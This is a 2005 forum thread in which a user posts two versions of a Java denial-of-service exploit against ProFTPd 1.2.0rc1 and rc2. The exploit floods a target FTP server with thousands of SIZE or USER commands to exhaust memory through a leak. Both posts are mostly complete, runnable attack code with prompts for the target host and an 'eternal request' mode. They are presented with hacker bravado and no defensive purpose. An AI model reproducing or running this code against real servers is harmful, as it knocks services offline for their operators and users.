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 Post subject: Art thou man enough
PostPosted: Wed Feb 02, 2005 6:07 pm 
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Ninja King
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* Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- jet_li_man@yahoo.com

Well here is a little explanation about the concept of the DoS:
ProFTPd has memory leakage bug when it executes the SIZE FTP command. By
calling the FTP command SIZE 5000 times it possible to cause ProFTPd
to consume over 300kB of memory. Exploiting this bug with more SIZE
commands gives us simple DoS attack. Anonymous access is
sufficient to use SIZE commands and to exploit this bug.

You don't have to give arguments when you execute the program, it will
request you these.

Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).

Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others (1.2.0preX); I have no test this, but I'm sure you can
do it for me ;-)
*/

import java.net.*;
import java.io.*;

class TCPconnection {

public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}

public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}

public void println(String s) {
ps.println(s);
}

private Socket doaSocket(String hostname, int portnumber) throws Exception
Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;

}

class proftpDoS {

public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option;
int i, j, k;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 10000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option = tcld.readLine();
k = Integer.parseInt(option);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
k = Integer.parseInt(option); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}

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PostPosted: Wed Feb 02, 2005 6:32 pm 
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Ninja King
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Joined: Mon Sep 20, 2004 9:06 pm
Whoops had to fix something... very cool none the less... Those of u with a java compiler will find very interesting :-D


/* ProFTPd DoS version 1.1
Remote DoS in proFTPd

Code by: JeT-Li -The Wushu Master- jet_li_man@yahoo.com

Recently I posted a remote DoS for ProFTPd based in the multiple use
of the SIZE command in order to crash the system. Now and thanks to
the information provided by Wojciech Purczynski I have coded a
program that not only use the SIZE command but also the USER command.
So at this time access to the ftp is not necessary to manage a DoS
attack. The concept is equal to the last exploit one, but using
multiple USER instead of SIZE.

You don't have to give arguments when you execute the program, it
will request you these.

Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).

Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others(1.2.0preX); I have no test this, but I'm sure you
can do it for me ;-)
NOTE: 1.2.0pre10 seems to be vulnerable according to the words of
Wojciech Purczynski ... */

import java.net.*;
import java.io.*;

class TCPconnection {

public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}

public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}

public void println(String s) {
ps.println(s);
}

private Socket doaSocket(String hostname, int portnumber) throws Exception {
Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;

}

class proftpDoS {

public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option, option1;
int i, j, k, m;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
System.out.println("1) Memory leakage using USER command");
System.out.println("2) Memory leakage using SIZE command");
System.out.print("Option: ");
option = tcld.readLine();
m = Integer.parseInt(option);
while (!(m==1 || m==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
m = Integer.parseInt(option); }
if (m==1) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
if (k==1) {
for(i=0;i<15000;i++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
else if (m==2) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}
}

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PostPosted: Wed Feb 02, 2005 11:45 pm 
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PostPosted: Thu Feb 03, 2005 11:50 am 
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PostPosted: Thu Feb 03, 2005 2:19 pm 
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Ninja King
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PostPosted: Thu Feb 03, 2005 2:19 pm 
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PostPosted: Thu Feb 03, 2005 3:40 pm 
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PostPosted: Thu Feb 03, 2005 5:08 pm 
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PostPosted: Fri Feb 04, 2005 11:36 am 
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